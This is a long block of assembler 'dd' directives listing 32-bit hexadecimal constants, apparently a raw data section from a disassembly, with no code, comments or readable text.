dd 0C52DC4EFh, 0E1FF3612h, 2562E6ABh, 8BF65F9h, 867C050Ch
dd 0C9831F70h, 942DD8A8h, 58B83ADBh, 94956EF2h, 0BFF244BFh
dd 7B30BA08h, 4AA580Eh, 7DDACE93h, 0B9E76A80h, 0D8712BDEh
dd 6FC73F4Fh, 29562F08h, 0B8BE3960h, 92D33DA9h, 2CB68002h
dd 0FF606053h, 665EC3B7h, 208D28A4h, 2BEF16E9h, 2DBFC400h
dd 951B3881h, 226DC389h, 0F5D47BC1h, 0A547B87Eh, 25416AABh
dd 0FB6D570Fh, 27955627h, 0FCC907F6h, 0F74A40FBh, 0DE096A8Fh
dd 6BA4F56h, 4CF3C1FDh, 0AF5BBC5Fh, 605A1D6Ah, 0DCF3D8FAh
dd 0C1D2DA29h, 9BC5D80h, 46CB2A9h, 0E04DC077h, 0A50F8BFh
dd 1690FBA4h, 0B54E4384h, 5042DCFEh, 285152h, 0FA8CA1Ch
dd 387E3FC4h, 0AE5B6B8Fh, 0C014E6Fh, 0E738CECFh, 4DF56EB3h
dd 0EFC0251Ah, 27A8528Fh, 0F3BBED00h, 2B1AFD15h, 44D2B59Dh
dd 0F1BE6805h, 0A4BB0BD9h, 0F23C4158h, 0CC4DEC6h, 839E2AFBh
dd 80AE9BC8h, 730A68E0h, 900C90C6h, 7E52520h, 5BA708C5h
dd 38C85030h, 0AB09517Eh, 86839B0Bh, 1CB7ADCAh, 2D0231E9h
dd 0E678F453h, 4EFE728Ch, 82EBA9F9h, 7C105195h, 315849EFh
dd 0F405FC97h, 6494DB2Ch, 2105BD04h, 9320A2BBh, 908047DAh
dd 0FF2348ABh, 0CE9C0D24h, 249D850Bh, 0A6BB5F57h, 15091024h
dd 0E7FA8469h, 0D42B74B5h, 0C2471759h, 0CA712079h, 93645B69h
dd 0EDC7EB91h, 7D672BAh
dd 5BA0A118h, 0BF865F9h, 6E775DFEh, 5B89FE26h, 0DE6EAA46h
dd 0F3016B00h, 17A159B7h, 0FC2D8218h, 8225696Ah, 1D518BC0h
dd 2D8844B7h, 488B14A2h, 62701C53h, 457002C6h, 313EE4DCh
dd 7621E457h, 0A53ABC01h, 15644D6Dh, 6EE00372h, 750FD2E8h
dd 9FEA682Ch, 0A7A19F96h, 1511012Fh, 2660DDB2h, 9CEAF5D0h
dd 0BD2F23DBh, 7B38D709h, 55299589h, 0BB04A308h, 0E7EF7D87h
dd 3778A0C4h, 7D250077h, 0FF8C3DA5h, 739DF53Ch, 181B5957h
dd 9E77172Ah, 7F85BA22h, 9F61D2B0h, 0B312D937h, 0DAD761E3h
dd 8BB28FCAh, 0EBCFF86h, 4F8B59Dh, 8C32E962h, 2D5AF9DBh
dd 640998h, 1720AF19h, 0D6C09A3Bh, 6C059812h, 50AE63E3h
dd 0FA4E8A75h, 3EB2B212h, 0A797DD8Eh, 0BEC3A429h, 0BFC1ECEBh
dd 0CE6A01EDh, 56AB34DDh, 0D6A6DBABh, 0AF9635ABh, 0C106DA1Ah
dd 14E5BDBFh, 81CFDF79h, 45C4A9CEh, 7198EA6Ch, 1AE823BFh
dd 72495316h, 0AFF05B5Bh, 0B5425D4Dh, 40FCD68Fh, 10042D63h
dd 880F1C00h, 0BB59816Fh, 5BF300E5h, 4328B0C2h, 9650D768h
dd 79E950CCh, 0BE21B83Bh, 861E27Dh, 0AFE94555h, 6B005D35h
dd 0EF89B81Eh, 92280CA9h, 0A56281C2h, 3CA92C52h, 0EF4EC659h
dd 74816F24h, 172B2C80h, 0AA7BEFE3h, 1154F027h, 4BB5846Ch
dd 600B9C08h, 208D8AC6h, 0CB81049Fh, 0BB613157h, 391716A6h
dd 6F6AFE35h, 4A1A29h, 2AF00357h, 0CFB29DE2h, 640E0125h
dd 25069898h, 8A541859h, 0AFF837E9h, 579F0B55h, 0F4E0B100h
dd 0B51201D8h, 0C3E202C1h, 98A8C4Ah, 0ABBFF1FEh, 0DE8DF639h
dd 7E926C02h, 4C94D664h, 85312535h, 0FFADB674h, 0B12D4D35h
dd 509AE655h, 0A602AFA1h, 960420F9h, 0CF800AB8h, 0A7A07D2Eh
dd 0B64F020Fh, 6880FDA1h, 0D582AF4Bh, 60502FBEh, 0BF804DF9h
dd 72FB1A02h, 3C965961h, 0AA270CBCh, 516B45B5h, 1DD888DEh
dd 0D7800B29h, 0C007B27Fh, 0B514A112h, 241C0B67h, 0D046D325h
dd 505D98AAh, 70BE4EDBh, 0A18D0169h, 2EA92B4Ah, 6213F8CAh
dd 3A50EDBDh, 0D4DB56BDh, 550003BBh, 0D56CD88Fh, 5C2F6278h
dd 8A022C41h, 518C56FCh, 0D4FE145Ah, 4F83A8F7h, 0A1E843A9h
dd 47A7CB03h, 0F1651C46h, 0DE2A8880h, 747BC056h, 0C60B83Ah
dd 21D59D29h, 614BD0CDh, 24D37AAFh, 0DCCF2215h, 1CB76080h
dd 9C58A56h, 0D4E9615Fh, 2916B158h, 0D8BE8D95h, 0AF097516h
dd 0F63A870Ch, 1C458964h, 436B3055h, 2016009Eh, 86A4974h
dd 4C4E7151h, 200AAB2h, 5DB7071Dh, 27076783h, 0E72C2AB2h
dd 0B8A8BD90h, 5AFA01E3h, 74C281F9h, 50349665h, 580A53F8h
dd 88BC933h, 8B051679h, 968C0A3Ch, 0E06E0060h, 0F4819096h
dd 1A00D20Bh, 6577F722h, 1F88BB06h, 0FD7E8F4Bh, 35485F0Eh
dd 61953142h, 0C7E0114Bh, 41EE1EE8h, 35510D92h, 0CD3E80Ch
dd 0B5896504h, 0B41D0E59h, 0D9850680h, 6FFF1323h, 0A2602CB5h
dd 2496F01h, 14C9BD83h, 50F94F0Ah, 3224B59Bh, 29131611h
dd 0E9F0D18Dh, 35178E1Fh, 0D8D5204Ch, 153B9D2h, 8B04E6ADh
dd 0B97CE9C7h, 0F15B0044h, 0E39F1C80h, 4F540093h, 438F46C8h
dd 0FB00D3DCh, 0E5DAA88h, 0BE1812h, 45A911E1h, 2FE6FAC4h
dd 8CEE6F3Bh, 8D6675Ah, 2721C0DCh, 869AE6E3h, 26A2C900h
dd 55E258D5h, 207903BDh, 0AF3E9FD3h, 1135923h, 6F24E6FFh
dd 88D91886h, 0E600F822h, 180771ABh, 190DDAAh, 4F639DE9h
dd 0DFEC4078h, 8BE446E8h, 8C2BA908h, 31003C15h, 0AB1A990Bh
dd 0E0197A35h, 3D086592h, 13D72180h, 0B1427699h, 1638800h
dd 0B37BA34h, 1150C75Bh, 1F16E07Dh, 0C300381Eh, 0B47F639Bh
dd 27B9A6Bh, 719097ADh, 112029FEh, 3014463Fh, 4911A60Ah
dd 0FA03A12Eh, 15C01A20h, 53093028h, 0A1166961h, 0D532E31Dh
dd 980A786h, 8BAA0A50h, 7C98CF0Bh, 0FA24DF46h, 4CFD00B3h
dd 3CB2AC84h, 0AE546700h, 0D0A7E5FFh, 0B068D96Dh, 8231813h
dd 3220FFA1h, 64404DC4h, 2C34A12Bh, 438B5200h, 97AA0850h
dd 4B8210A0h, 0EB869E29h, 1021DFh, 4ABE5269h, 81AC32B4h
dd 9E13CF00h, 4F3801D6h, 93AF1DC9h, 0F59D41DDh, 0CD2DA173h
dd 1BC2F053h, 8D182261h, 1500BCABh, 7940FEC1h, 0DC5F0116h
dd 3F4D344h, 1020B0ABh, 0F8B2082Ah, 0D9202240h, 0D4E6FC00h
dd 77D05359h, 805B3374h, 2100C508h, 33D4FE96h, 3D6F73h
dd 2B511F81h, 0E8B7D53Eh, 11DDDA1Dh, 1B780AD8h, 471C00E3h
dd 5AC59186h, 7F188F10h, 0EA302AE1h, 303B7F2Bh, 0CB101BBDh
dd 28002EEBh, 3AEFFA96h, 0F8606B11h, 32475E0h, 0B71DC2D4h
dd 5AE08B9Bh, 2600AAFCh, 59746A11h, 9A43A3h, 94BBFE9Dh
dd 8B5A2CFDh, 0B6CA000h, 34735565h, 91F60049h, 6109A92Ah
dd 5D3B1671h, 0A2BB80EBh, 0D378783h, 79A0707Ch, 446F079Fh
dd 0D0BA51C2h, 9B3BF062h, 0A3AA3604h, 0C1EE7C60h, 2A820246h
dd 3AA7D10h, 0C54FA50Ch, 9B35882Bh, 0FA2800F2h, 0A67CC373h
dd 9500FD90h, 5707A142h, 7C080EF7h, 8A9B3084h, 43C10F29h
dd 0D68F2609h, 70B60311h, 0A508C110h, 1D99EA30h, 0B077D323h
dd 4BD45F30h, 414039h, 26D2CC45h, 78AE807Eh, 892B2C0Ch
dd 83FA316Dh, 0ABAC2086h, 682F6Fh, 24B21EC8h, 4F6E06A1h
dd 876A98Fh, 0ED213660h, 0F2B206h, 38057AD6h, 5A76AEA6h
dd 0F8CD6F0Dh, 0BDE4B18Dh, 98786063h, 0C7B8F0F5h, 0A16EFF31h
dd 5D02973h, 118E619Bh, 87898BE3h, 6F1694D0h, 0A315EC03h
dd 0CA2100E7h, 70589F3h, 8D00DAF0h, 80D26070h, 603BBDD0h
dd 0C0FD684Eh, 0BF83CDFCh, 1876B2B3h, 49889B71h, 0C40FB917h
dd 80909374h, 1BF00D39h, 0B17C1486h, 82008CC5h, 0E145B27Bh
dd 0BDEE736Fh, 6063C330h, 96B341h, 0B57D131Ch, 0A7E6B262h
dd 0BF9A0801h, 0E85244A9h, 7A14D0h, 81EBC1C5h, 0B670D51Eh
dd 0F9096666h, 0D8A50321h, 5E5890EBh, 0F42723F8h, 243A9329h
dd 0E118F171h, 0AA2B1D00h, 0D716BA0Ch, 6A68007Bh, 900FAFD9h
dd 9E73E714h, 0EDC2E91Eh, 997A1781h, 60CC448Eh, 48EC3F69h
dd 6A335060h, 707A745Eh, 96891A00h, 7D17AD07h, 4CCC0338h
dd 0C0E52C9h, 0A0A92002h, 9EC4B545h, 34592320h, 0BE7A3302h
dd 143F0075h, 94603D87h, 4989E5C8h, 1EB20109h, 16E996B8h
dd 83089850h, 41D221h, 0A5044309h, 770A52C1h, 0D41C48C0h
dd 3AC7E5EFh, 8860493Ch, 4254AF5Ah, 0F5B93307h, 0F4B7FB10h
dd 215E46h, 0CF54B788h, 0CD5FC43Fh, 29191100h, 4161D46Dh
dd 294D603Ch, 4EACFA49h, 0A189503h, 0E8DDAF0Fh, 7BCEEEh
dd 96C79DCCh, 7DB5228Bh, 361F950Eh, 60B098EBh, 0A0D5281Ah
dd 3FAB0CC0h, 0E528810Eh, 0AA609879h, 5E5C4D61h, 0F861543Dh
dd 0A4C2F8E0h, 54B23B64h, 88813391h, 0BAF78350h, 0D8D8E154h
dd 0F60F941Eh, 8A891CB1h, 3C01F4FDh, 4814F0E5h, 8C462C20h
dd 9B12A890h, 2C62251Eh, 0C3AB20FCh, 321DD4EBh, 4F000155h
dd 6ACF8021h, 7EE92A2Bh, 29946E0h, 1EB00943h, 118D3148h
dd 0AD305BD4h, 22ED0081h, 0A90B5D3Dh, 0C400A8FDh, 0D4120FC0h
dd 0D9BE694Ch, 18846031h, 0B309084Eh, 85C4A01Eh, 946D341h
dd 0E96CF126h, 4D23D08Bh, 28C46A2Ah, 42029846h, 401EAF09h
dd 0D7108F31h, 0F207095Ah, 6094B5F6h, 66D45D50h, 48101421h
dd 0D529E4E7h, 7140A9DCh, 0A81850h, 0A466EEEh, 0C5295ABEh
dd 6CB87A60h, 149885DEh, 30E5E991h, 0AD09D923h, 58A80D54h
dd 20463012h, 2D54B5BAh
dd 978DFA12h, 0EA6A6806h, 0EF330ED9h, 9585DB89h, 0F37183E2h
dd 4FA2022h, 0AAC70BC4h, 0B458809Ah, 484020BEh, 0BC7A0DB2h
dd 0E0282BB1h, 282C9D74h, 0C90EACC8h, 8F62C95h, 5721C006h
dd 0B1802885h, 41605400h, 96E679E9h, 0E32B0156h, 0A3F9DC7h
dd 1A69809Bh, 0AA52FC91h, 0C4F0C817h, 4354B0C0h, 0A8B15333h
dd 54B88980h, 0BB3E07B2h, 0EF8686C5h, 8905BEh, 1025EB09h
dd 1259A6FEh, 1482A500h, 0D56E3B31h, 7BFD04C9h, 0C77FF252h
dd 0F308A328h, 0A2F9AF8h, 0E53BC8A1h, 10502273h, 0E39F2A82h
dd 0AE094D01h, 8218581Eh, 145D688h, 9D7CEA09h, 8C972E37h
dd 21983EF8h, 82D600AAh, 0B27FB0A7h, 0DC007791h, 0EA46CE08h
dd 1E166FBh, 97E7BFB6h, 24AE371Fh, 92603DD4h, 55D55141h
dd 4C3A4C22h, 0B450FE22h, 2E2A78F4h, 69F0F832h, 608F9D24h
dd 9FE7B509h, 8247113Ch, 443E1305h, 0F2F000C0h, 0F4D694DCh
dd 0FAF67731h, 43CE2C00h, 17584C6h, 0FCCB30BFh, 0C971A290h
dd 0BF63C8C8h, 50454D74h, 82EBCE80h, 448CDD1Eh, 0C538A6F0h
dd 0D3601EBh, 5FAEBC7Dh, 76F492E1h, 29E4A017h, 3D4824ACh
dd 33C438A4h, 504A722Ch, 0ECA080A9h, 14DE6A11h, 0BF0A73ECh
dd 0A8E69D3Dh, 0B460C044h, 332C4F54h, 0D0734891h, 1154BCh
dd 616C1EFEh, 320B847Dh, 8C3FFA09h, 0AE9C21EEh, 94262FC1h
dd 7B54D400h, 98357D12h, 6A62EF0Bh, 27440569h, 1AE89441h
dd 4460426Dh, 88A25494h, 10408AF7h, 0EC81BB92h, 8C85804Ch
dd 0B4094F04h, 8A62A81Eh, 947D020h, 2384004Bh, 0C2B42D6Eh
dd 31068F7Ch, 0C4ECE294h, 66374490h, 0FFB25600h, 0CF7D2DAFh
dd 549148C6h, 0CD107C49h, 0A42EA4EAh, 9F034523h, 12F2C260h
dd 831EB80h, 68B1CF34h, 48D280DBh, 50A8E000h, 87FE8071h
dd 46082E4h, 3876454Eh, 383DCF24h, 4360D440h, 117961EFh
dd 899A664Dh, 0AE1CBE39h, 0EC1BA350h, 0F846055Ch, 3FF43DFCh
dd 432380h, 6CE7D188h, 3E330960h, 0F83C7184h, 1FE039ABh
dd 4790A6FBh, 0CECC3493h, 0B11A4140h, 1F7E858Ch, 97AEC22h
dd 7DE272C1h, 3DD99801h, 3E1982B4h, 40176392h, 4101EF5h
dd 8502E696h, 99348046h, 2FFA203Fh, 1A62B509h, 9C2E0FBEh
dd 33BAA8C0h, 306A49A7h, 0FC580896h, 3E003ADFh, 35B56597h
dd 775AB51h, 64A1DEE9h, 0EE221162h, 60CF0014h, 58C0803Bh
dd 0EA53AB02h, 0E082F0A4h, 829351B8h, 18BB5461h, 0CB28249Ch
dd 0C45426CFh, 84564003h, 6F128h, 0E3E197B0h, 221C720Fh
dd 94254126h, 0C0E89C14h, 8B2799AEh, 905C90D8h, 247465Ch
dd 1E9CEBC8h, 10ED312Dh, 0EBC0ACh, 0E4116F78h, 0D51A1E1Bh
dd 0ECB8AE62h, 0C6FC9948h, 5405AE18h, 0F4A1334Dh, 0BB00808Bh
dd 0CA3E54B6h, 0F00F29Eh, 36A8BA97h, 567B599h, 0E9AE9D48h
dd 7B10C83Ch, 2ABA2403h, 99B4200Fh, 0EEE41D19h, 30F07A27h
dd 41BA7274h, 9349604Dh, 911E0020h, 17AFC3DBh, 0A169F890h
dd 8318B6B4h, 9DCE280Bh, 89C8Eh, 0D3288B55h, 50542675h
dd 0F0DCC501h, 0FF0EE914h, 9A7A5880h, 6E3FAB9Eh, 25809894h
dd 1CB88A0Dh, 0E82125D4h, 121EB003h, 990047AAh, 3FB760DFh
dd 4401B528h, 6A688242h, 0E87C358Dh, 0D914FCE6h, 0E020225Bh
dd 862B48C1h, 0B7FAC0B0h, 51FCC08Ah, 3D57151Eh, 6900889Ch
dd 77B2168Ah, 0C403938Fh, 3EE15C94h, 0C121059Eh, 0C035CFFCh
dd 0B9956032h, 0B69B4301h, 0E56B811Ch, 119DF089h, 18C36069h
dd 4E540BB3h, 0C01C9933h, 5407BBECh, 6E8BB3D7h, 6F401917h
dd 4C864C22h, 5B802CB1h, 7045A85Dh, 0F618C103h, 0D8BA3CB6h
dd 706A7B4Fh, 0CC090CAh, 0B293D716h, 0BC7F50E9h, 80FD2210h
dd 1F1C1A0Fh, 84A0538Fh, 13316FBh, 0A0E9AA26h, 71131107h
dd 1FC6E04Fh, 8BA215h, 16FACF1Ch, 0BCA6FCC5h, 0DD00FBFAh
dd 31B69064h, 2AA4C4Ah, 89E6E96Dh, 8481C8B7h, 54963DFBh
dd 4C00C29Ch, 0ED33FA21h, 92105BF9h, 8D0036BFh, 41670FBEh
dd 0A84253h, 3B997D2Fh, 0B20CF0F8h, 14D3B700h, 2932FEE4h
dd 0DA3100C3h, 843F4494h, 4100FB6Bh, 0B327B285h, 2CB48Dh
dd 0D5C6B1ADh, 0F008C1BAh, 4CD07333h, 0CB19C116h, 0F790FD0h
dd 0F71B10D7h, 0D925BE20h, 560C9D8Dh, 18704A89h, 74AA076Fh
dd 0C310A293h, 68C26B28h, 0B2FD407Dh, 67EA3081h, 4C19F028h
dd 71619D60h, 790E177h, 4446FD7Fh, 56A1B179h, 7C29C0F7h
dd 34FA7D03h, 3B0D4DCEh, 2B32F830h, 93106628h, 23961F4Ch
dd 0A4A88129h, 81E0189Ah, 0F538CA78h, 0D1A128AAh, 0C33E8C1Ch
dd 0A8008119h, 0C8A9AA6Eh, 0C8B110A5h, 5640E798h, 0C312B769h
dd 0C4D509C0h, 0A25C2142h, 250720D6h, 0C00A565h, 228BBF4Ch
dd 6038C21Eh, 56F0214Bh, 0E578788Eh, 0A779C60Fh, 0F97F2228h
dd 60E0F7DFh, 0B1C32B3Fh, 806E26C2h, 1CE04E41h, 3AB21125h
dd 10A37306h, 3F31511Fh, 531E3132h, 0F8579DD8h, 1D9100F5h
dd 0BA28A57Fh, 4900A8F3h, 0D6E1B08Eh, 0CFB279C5h, 0F6006179h
dd 184F055Eh, 0A0F43628h, 0A138122h, 0C53C926Fh, 9A90198h
dd 304970F9h, 6703D622h, 3111E3F6h, 0CCD0E830h, 60BFB0ADh
dd 89447903h, 24A1A78Ah, 2F2A111Dh, 58CCDA60h, 0C07BD68Bh
dd 1917D7C1h, 8900549Dh, 4C7DFF04h, 1EED53Ch, 58495B8Bh
dd 401FB779h, 0F2D173D0h, 4A38D460h, 0C2054769h, 0FB36C818h
dd 0D18CAFh, 2E43508Dh, 7D17468h, 5DA4D57h, 0CD15305Ah
dd 0BB79F61Ch, 0D994F400h, 695861A5h, 50766017h, 5DB49F3Bh
dd 75F48F50h, 73A3B30Eh, 0B21902E4h, 0EF7048F4h, 0C82B546Ch
dd 0CD5C187Fh, 6EA33188h, 8B290B18h, 8BF54548h, 0D873ABE0h
dd 9619E607h, 5F476B7Dh, 0C0390960h, 5E2800B0h, 9C572E41h
dd 0ACA1F56Ah, 78D18CE2h, 7607911h, 35AC9E62h, 0FFFE7085h
dd 941F456Bh, 440461C7h, 5091F875h, 0F8422B40h, 0B24EE0A9h
dd 4A70005Ah, 67290CECh, 11741BA2h, 0AAE1CA00h, 51D3AF71h
dd 0FC960C32h, 121C7F66h, 1E4B7226h, 33007B1Dh, 0A249E950h
dd 9F36038Ch, 0EFFDE4FFh, 21450830h, 0A2413Fh, 0E83C8B6Eh
dd 182B3025h, 5A29DF00h, 75205DBDh, 7CC806D0h, 59B91F3Ch
dd 0AFDED100h, 0B8466BC0h, 0D6FF030Ch, 69DF9E65h, 90138BA3h
dd 0B619E64Bh, 20E17369h, 8464C48h, 0F73693A2h, 7E3E70h
dd 0F13B4DA2h, 0AEDB6410h, 0C1E25200h, 86092276h, 3628C02Eh
dd 0C343540Ah, 69D7A2A0h, 80C75130h, 0F22349h, 0E3AED364h
dd 500D4F7Ch, 0E5930F1Dh, 9D4BBA3Fh, 1840889Ah, 0B02F9CEEh
dd 609D749Eh, 82D1218Eh, 1B01DE88h, 143062DBh, 0E88CE897h
dd 7AB87E6Bh, 4E44B8A7h, 0B1447360h, 803BE639h, 2C6DB011h
dd 6009CE97h, 52AF297Dh, 0C67F48E1h, 0A0BCF328h, 4C02CE46h
dd 0E73685A2h, 3C40DC33h, 1305A244h, 626AC300h, 0F26F60FEh
dd 31151DFBh, 8867D4D7h, 86000B23h, 8E184588h, 13ED869Dh
dd 0CB88E025h, 0DF0C0014h, 5E2B5F76h, 5376C4ACh, 0A2E8AE09h
dd 69140224h, 49F60048h, 596FBB42h, 0AB00040h, 6E9D470h
dd 0D19F4F94h, 5460083Ch, 70722521h, 32430A16h, 5E4ED0Ah
dd 3A69F0B0h, 7702380h, 0F05C87CEh, 6C02131Ch, 3814BA48h
dd 3C169EB3h, 544921CAh, 6807E11h, 74E9C870h, 9158448Ch
dd 11700E00h, 0DEA06E3Eh, 26C919E9h, 0F4B8B0C5h, 8DEEFE50h
dd 0F9C1451Eh, 3D395158h, 0F6A30090h, 34D11577h, 706FE88h
dd 358128E2h, 0BD4905B8h
dd 0C0516224h, 9E7541Ch, 9308CA18h, 7FAED9D9h, 858B0EAFh
dd 12C363C0h, 19C9E991h, 0DC7C2593h, 320FBDDFh, 0B2EDD5EAh
dd 26FEE400h, 9089163h, 0E465E6B8h, 1823CC19h, 92A20843h
dd 62C4EF36h, 0A25B0940h, 0D3004A27h, 0CDEA058Bh, 6E5ED764h
dd 0EEE069FCh, 6B3B4452h, 0E92EA8A4h, 0A032F431h, 20E0E06Ch
dd 0D8D048C5h, 0F21D10h, 0AA2B74BAh, 0FDD9E6Ch, 7B2CEFF9h
dd 0DF2EA381h, 65F2CCCAh, 0B8BF1700h, 0F07C405Dh, 0DE7A1C09h
dd 0B0E0079Eh, 0E276105Eh, 5118D7A1h, 0BA40356Dh, 928B3064h
dd 0B0F4B758h, 385FB801h, 722A6ACFh, 44F22C22h, 525730h
dd 0A72EF217h, 0B704BCAFh, 949291E6h, 0F1CDC01Dh, 708FA0A6h
dd 38475BBh, 627A52D1h, 37D7AFCDh, 60C0DFD5h, 173D442h
dd 0DA68ECF1h, 0A861DDE6h, 0B913AC71h, 0B50C8764h, 3876495Bh
dd 0F0D084h, 0ABEFC4B5h, 75B685C1h, 0FB1A7E3Ah, 0A56EFE0Ch
dd 1B0308Bh, 7419AE04h, 0EF270183h, 1438A804h, 68C07A13h
dd 24AAA086h, 2905768h, 3881BBB6h, 4A9C4848h, 7E15E00h
dd 0DDA43921h, 5F37277Fh, 3100775Ch, 0A28683AEh, 44DF4882h
dd 60C65910h, 9CE59518h, 27D0008Eh, 0BA2AB064h, 69480CA6h
dd 0C46161C0h, 21DC7E3Ah, 2A80FB8h, 0EA609472h, 18667013h
dd 0DF6C561Eh, 7DEBA830h, 0B961F130h, 153834h, 0FB066E2Fh
dd 0E26B3395h, 58368030h, 62D314B8h, 4D09289Ah, 2E12A8A0h
dd 0A30076CCh, 1635E493h, 765B6B2h, 0C6545C27h, 0A9400E91h
dd 94CD71DDh, 6E3BF900h, 0B0C98118h, 78573EEFh, 3E43D42Ch
dd 86856B00h, 0DD10BA1h, 20FD681Dh, 31F5017Fh, 0C0F4435Dh
dd 606CCE4h, 0D4EC33CAh, 0F56938A3h, 83A10E18h, 3F84E0Ah
dd 377A9511h, 1CD104CBh, 985EE572h, 0B7218F08h, 4C370EB2h
dd 56C0921Bh, 0FBD6FA9Bh, 7B3FED00h, 512EF5ACh, 72A8C747h
dd 211E909Dh, 8E1BFC6Eh, 0C187FC5h, 0F7C85AA0h, 4012C0A8h
dd 1E003EDDh, 0A01C9F2Ah, 4808CC31h, 500B921h, 0CF49F83Eh
dd 30C35894h, 0C5918141h, 0CDF2AAF7h, 1C167C00h, 8E9550B8h
dd 9B470054h, 3B3278B5h, 306094FCh, 4FF218F8h, 4DB800A5h
dd 0B09E5C5Fh, 900BB9Ah, 480655AFh, 26885A99h, 0A71686h
dd 0D3D9B99Eh, 5001E77Dh, 446AB053h, 0EBD4CA92h, 28A500DAh
dd 0D5B18DCFh, 0F8007A8Ah, 4A8C6EA7h, 86374Fh, 0E29D1B7Ch
dd 0AAC0975Bh, 22702F00h, 0F855397Bh, 8FB000A3h, 42036314h
dd 1F00A4B9h, 77731E8Bh, 0EC57D7h, 9690F266h, 40C67554h
dd 0AFD28300h, 393336EEh, 0ECEB07FBh, 0AF45023Ch, 1F6A2683h
dd 0ACE08BC3h, 0B8F8D360h, 6972B71Ch, 16CC007Eh, 4F361E33h
dd 381E8C1h, 412937A8h, 0DED06960h, 0CD00AC4Bh, 0A6ED3EA9h
dd 18AA030Eh, 407926B7h, 38CBBE98h, 1DB9038Ch, 0A68BC081h
dd 32661E2Fh, 287B58A7h, 2A18B9B2h, 0E1319B96h, 17FEE2Bh
dd 3A342C16h, 0D0370401h, 20C1B9B7h, 9C960EAAh, 33B5ED4h
dd 20BD62B5h, 0EAA0E468h, 4303B403h, 1819F78h, 0C179390Bh
dd 0BCF2F600h, 555DA5B3h, 8AD9E33h, 0DD790083h, 3C0E8468h
dd 7200A497h, 0C038EAD3h, 573A61h, 0D9E46F11h, 0E8D8950Fh
dd 26B4EB00h, 3C749782h, 6DE00A3h, 0BDF227Ah, 5A38A4E5h
dd 9DF1B996h, 63C043BDh, 9D93B11Eh, 0B7DB007Ch, 0FF1D2907h
dd 0D007502h, 5A3B2E7Ah, 0E9AE23h, 0FD4B82BDh, 2668C8B1h
dd 0E03D8B00h, 18A8B914h, 0C3E50008h, 197EED94h, 9B72CB61h
dd 3A5B9500h, 4401B554h, 3EC500E7h, 0E581B3B1h, 0D698531Ah
dd 0DF94F800h, 17830996h, 0DA600DEh, 29729316h, 3E0FD2FCh
dd 92F80A8h, 86850F9Ah, 201726h, 0ABD163E8h, 0BAEBB8E7h
dd 7F39CC1Eh, 6059180Fh, 19160972h, 814D038Ah, 0AEE99DF4h
dd 0A87A7202h, 609CC470h, 61174C2h, 773F93D8h, 90E58F3h
dd 0E0B220F6h, 0D1227AEh, 84F6601h, 0C10021BBh, 0E644B528h
dd 778D67BAh, 0AA9400FDh, 1312631Bh, 0C01FCE17h, 764687BCh
dd 3338CDEDh, 0E041D102h, 0A36D5E88h, 0FF118500h, 0B58D915Bh
dd 214A0183h, 0C7663EFCh, 3C845015h, 6150ECAAh, 8B41782Ch
dd 1459E0B2h, 3BBD2820h, 18802DDh, 4B63BF5Eh, 60D37084h
dd 10E7B2FCh, 0C86347ADh, 5592BDh, 0FC451161h, 0EA002004h
dd 7C9CB87Ah, 199F5197h, 597D1E3Fh, 8F91804h, 7FADE0B2h
dd 544E24C4h, 9E21B5A0h, 0FC1F779Ch, 384D9617h, 0D4E8D027h
dd 0B2F303CAh, 0C95DE77Eh, 84C14CE8h, 994B0C00h, 610FCB5Ch
dd 2E2A1F92h, 1D25C0ADh, 0A422D211h, 0D883000h, 0F65EE1C7h
dd 3C1701D1h, 842D9A19h, 0A941F072h, 69E89907h, 28C20DEDh
dd 980CA2AEh, 0C9211ADh, 21A34278h, 83B08496h, 0CA25FE2h
dd 0A1A4C371h, 4C10CC30h, 82030B76h, 83582954h, 0F5117EE0h
dd 233A4BE0h, 0BA21E022h, 647D9381h, 43B15037h, 606FE27Fh
dd 848B3820h, 207D3F23h, 9E3C0678h, 0CCF3C8Ch, 700499F3h
dd 0AACA401Ch, 74283D78h, 0DA780869h, 71617130h, 0AD06F2h
dd 654877BDh, 76C966F1h, 1B79FF60h, 0C68F25A3h, 0B8AAAFE0h
dd 0D5017CF8h, 0D3A006EBh, 9987F953h, 1D7530CBh, 4B5E259h
dd 626E54D8h, 2CDF104Ch, 76C1A540h, 728AF3Eh, 0F0D36A7Ch
dd 3555F940h, 65ED0662h, 29710C22h, 0B11AB42h, 0B3691147h
dd 21080211h, 4C620887h, 0D284FD90h, 0DB83447Dh, 447F4A44h
dd 0F14E6671h, 0C3DF10D1h, 5CF80D00h, 0CE6B9512h, 7321BA01h
dd 0CBAE44DEh, 3EF2D4h, 631049AAh, 7F5AD7A0h, 354D0B01h
dd 50A19D80h, 0F206F4h, 0FCDAA727h, 1C34705Bh, 94E16E00h
dd 5ECDD07Ah, 9E2600FAh, 0D57733FDh, 0E200166Dh, 7E9291E8h
dd 2FF1D9h, 67C43275h, 0CF25EEDEh, 0A907B202h, 5DA0D647h
dd 0D031BAE1h, 0E0007E2Eh, 7BBE9A7Ch, 35C3AA6h, 0C86EC2E2h
dd 0A8C88092h, 0EE00D3F5h, 0BB6FA7Fh, 6E46Ch, 0D5F64E5Fh
dd 4CCF8710h, 56CAEC04h, 0E0C0EFE3h, 0AC5F30h, 4E7AC663h
dd 0CE67BBFCh, 0EA3A7100h, 0A0469F9Bh, 0DD110155h, 2A78DAEDh
dd 2444E1D7h, 177FEA84h, 1F8E790Fh, 3F6961ACh, 0BB21BBD7h
dd 3E9D9CE0h, 3100831Ah, 0C86297E0h, 0A93D7A90h, 9860BFF5h
dd 878F0C7h, 6112F435h, 0E0AD6077h, 0C92B000Ch, 63D00E9h
dd 18A3E38Ch, 650007DCh, 72A83CE1h, 3F1A0h, 0FA488986h
dd 5D29F84Bh, 532BA201h, 0C4D2C5FBh, 10604D8h, 0DACCDB4Dh
dd 0CE43A9AFh, 0A2280BE0h, 3538B03h, 0E79BC864h, 1DBC94D0h
dd 0A1103A5Fh, 4C248481h, 6020872Fh, 7B03F4CCh, 2668170h
dd 0A4DD0A1h, 0FB631D8Ch, 6F8F4347h, 0B1C3BCFCh, 6B215ED8h
dd 8B0079F0h, 0ACD06DEAh, 0BDF6109h, 9599A8D1h, 0EE829180h
dd 8A00BBDBh, 0B81C6B80h, 0B874FD69h, 6F24016Ch, 9533E84Ch
dd 7513D436h, 0CC5A51Eh, 0F18049DDh, 0E80457EFh, 595F00A4h
dd 312F36EAh, 4F007E72h, 35E968B1h, 151D41Ch, 0BAB391Fh
dd 3052E84Bh, 4A009458h, 0F6ECB4C0h, 0B7BF342h, 0AE82EB11h
dd 86556600h, 0E4008804h, 0D3581DAAh, 0D4D8C1h, 6A4C1595h
